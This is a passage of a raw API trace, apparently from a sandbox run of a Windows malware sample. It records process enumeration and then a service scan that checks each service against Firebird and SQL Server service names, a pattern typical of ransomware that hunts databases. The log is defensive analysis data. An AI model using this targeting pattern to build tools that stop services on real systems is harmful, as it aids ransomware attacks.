lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0096.592] lstrlenW (lpString="Memory Compression") returned 18 [0096.592] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0096.592] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0096.592] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0096.593] lstrlenW (lpString="SearchUI.exe") returned 12 [0096.593] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0096.594] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0096.594] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0096.594] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0096.594] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.595] lstrlenW (lpString="taskhostw.exe") returned 13 [0096.595] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0096.596] lstrlenW (lpString="UsoClient.exe") returned 13 [0096.596] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0096.596] lstrlenW (lpString="taskhostw.exe") returned 13 [0096.596] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0096.597] lstrlenW (lpString="msoia.exe") returned 9 [0096.597] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0096.597] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0096.597] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0096.598] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0096.598] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0096.599] lstrlenW (lpString="msoia.exe") returned 9 [0096.599] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0096.599] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0096.599] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0096.600] lstrlenW (lpString="entering.exe") returned 12 [0096.600] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurement nut d.exe")) returned 1 [0096.601] lstrlenW (lpString="measurement nut d.exe") returned 21 [0096.601] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="ai element.exe")) returned 1 [0096.601] lstrlenW (lpString="ai element.exe") returned 14 [0096.601] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="divorce_mode_twelve.exe")) returned 1 [0096.602] lstrlenW (lpString="divorce_mode_twelve.exe") returned 23 [0096.602] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="clicking.exe")) returned 1 [0096.603] lstrlenW (lpString="clicking.exe") returned 12 [0096.603] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pack.exe")) returned 1 [0096.604] lstrlenW (lpString="pack.exe") returned 8 [0096.604] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="try-gtk.exe")) returned 1 [0096.604] lstrlenW (lpString="try-gtk.exe") returned 11 [0096.604] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counseling tmp.exe")) returned 1 [0096.605] lstrlenW (lpString="counseling tmp.exe") returned 18 [0096.605] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="radius_johnston_transmission.exe")) returned 1 [0097.338] lstrlenW (lpString="radius_johnston_transmission.exe") returned 32 [0097.339] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="j-portions-folders.exe")) returned 1 [0097.339] lstrlenW (lpString="j-portions-folders.exe") returned 22 [0097.339] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="samuel-clubs.exe")) returned 1 [0097.340] lstrlenW (lpString="samuel-clubs.exe") returned 16 [0097.340] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="gaps_industrial.exe")) returned 1 [0097.341] lstrlenW (lpString="gaps_industrial.exe") returned 19 [0097.341] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jerry pure.exe")) returned 1 [0097.342] lstrlenW (lpString="jerry pure.exe") returned 14 [0097.342] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powerseller.exe")) returned 1 [0097.343] lstrlenW (lpString="powerseller.exe") returned 15 [0097.343] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="non firewall.exe")) returned 1 [0097.344] lstrlenW (lpString="non firewall.exe") returned 16 [0097.344] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coal-cottage-vt.exe")) returned 1 [0097.345] lstrlenW (lpString="coal-cottage-vt.exe") returned 19 [0097.345] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="revealsprimarilywalk.exe")) returned 1 [0097.345] lstrlenW (lpString="revealsprimarilywalk.exe") returned 24 [0097.346] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="summer_knitting_map.exe")) returned 1 [0097.346] lstrlenW (lpString="summer_knitting_map.exe") returned 23 [0097.346] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="latina_rv_anything.exe")) returned 1 [0097.347] lstrlenW (lpString="latina_rv_anything.exe") returned 22 [0097.347] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephonyassumption.exe")) returned 1 [0097.348] lstrlenW (lpString="telephonyassumption.exe") returned 23 [0097.348] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bd guidance.exe")) returned 1 [0097.349] lstrlenW (lpString="bd guidance.exe") returned 15 [0097.349] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfb8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.350] lstrlenW (lpString="conhost.exe") returned 11 [0097.350] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf90, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.351] lstrlenW (lpString="conhost.exe") returned 11 [0097.351] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lang hl gis.exe")) returned 1 [0097.351] lstrlenW (lpString="lang hl gis.exe") returned 15 [0097.351] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.352] lstrlenW (lpString="svchost.exe") returned 11 [0097.352] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0097.353] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0097.353] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0097.354] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0097.354] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.354] lstrlenW (lpString="conhost.exe") returned 11 [0097.354] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0097.355] lstrlenW (lpString="svchost.exe") returned 11 [0097.355] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0097.356] lstrlenW (lpString="cmd.exe") returned 7 [0097.356] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0097.357] lstrlenW (lpString="conhost.exe") returned 11 [0097.357] Process32NextW (in: hSnapshot=0x340, lppe=0x24afd2c | out: lppe=0x24afd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x5cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0097.358] CloseHandle (hObject=0x340) returned 1 [0097.358] Sleep (dwMilliseconds=0x1f4) [0098.336] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x47f0a0 [0098.337] EnumServicesStatusExW (in: hSCManager=0x47f0a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 0 [0098.337] GetLastError () returned 0xea [0098.337] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x1d4a) returned 0x36870d8 [0098.338] EnumServicesStatusExW (in: hSCManager=0x47f0a0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36870d8, cbBufSize=0x1d4a, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36870d8, pcbBytesNeeded=0x24aff3c, lpServicesReturned=0x24aff54, lpResumeHandle=0x0) returned 1 [0098.339] CloseServiceHandle (hSCObject=0x47f0a0) returned 1 [0098.339] lstrlenW (lpString="Appinfo") returned 7 [0098.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0098.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0098.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0098.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0098.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0098.339] lstrlenW (lpString="AppXSvc") returned 7 [0098.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0098.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0098.339] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0098.339] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0098.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0098.339] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0098.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0098.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0098.340] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0098.340] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0098.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0098.340] lstrlenW (lpString="Audiosrv") returned 8 [0098.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0098.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0098.340] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0098.340] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0098.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0098.340] lstrlenW (lpString="BFE") returned 3 [0098.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0098.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0098.340] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0098.340] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0098.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0098.340] lstrlenW (lpString="BITS") returned 4 [0098.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0098.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0098.340] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0098.340] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0098.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0098.340] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0098.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0098.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0098.341] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0098.341] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0098.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0098.341] lstrlenW (lpString="CDPSvc") returned 6 [0098.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0098.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0098.341] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0098.341] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0098.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0098.341] lstrlenW (lpString="ClickToRunSvc") returned 13 [0098.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0098.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0098.341] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0098.341] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0098.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0098.341] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0098.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0098.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0098.341] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0098.341] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0098.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0098.341] lstrlenW (lpString="CryptSvc") returned 8 [0098.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0098.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0098.342] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0098.342] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0098.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0098.342] lstrlenW (lpString="DcomLaunch") returned 10 [0098.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0098.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0098.342] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0098.342] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0098.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0098.342] lstrlenW (lpString="DeviceAssociationService") returned 24 [0098.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0098.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0098.342] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0098.342] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0098.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0098.342] lstrlenW (lpString="Dhcp") returned 4 [0098.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0098.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0098.342] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0098.342] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0098.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0098.342] lstrlenW (lpString="Dnscache") returned 8 [0098.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0098.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0098.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0098.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0098.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0098.343] lstrlenW (lpString="DoSvc") returned 5 [0098.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0098.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0098.343] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0098.343] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0098.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0098.343] lstrlenW (lpString="DPS") returned 3 [0098.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0098.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0098.343] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0098.343] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0098.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0098.343] lstrlenW (lpString="DusmSvc") returned 7 [0098.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0098.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0098.343] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0098.343] lstrcmpiW 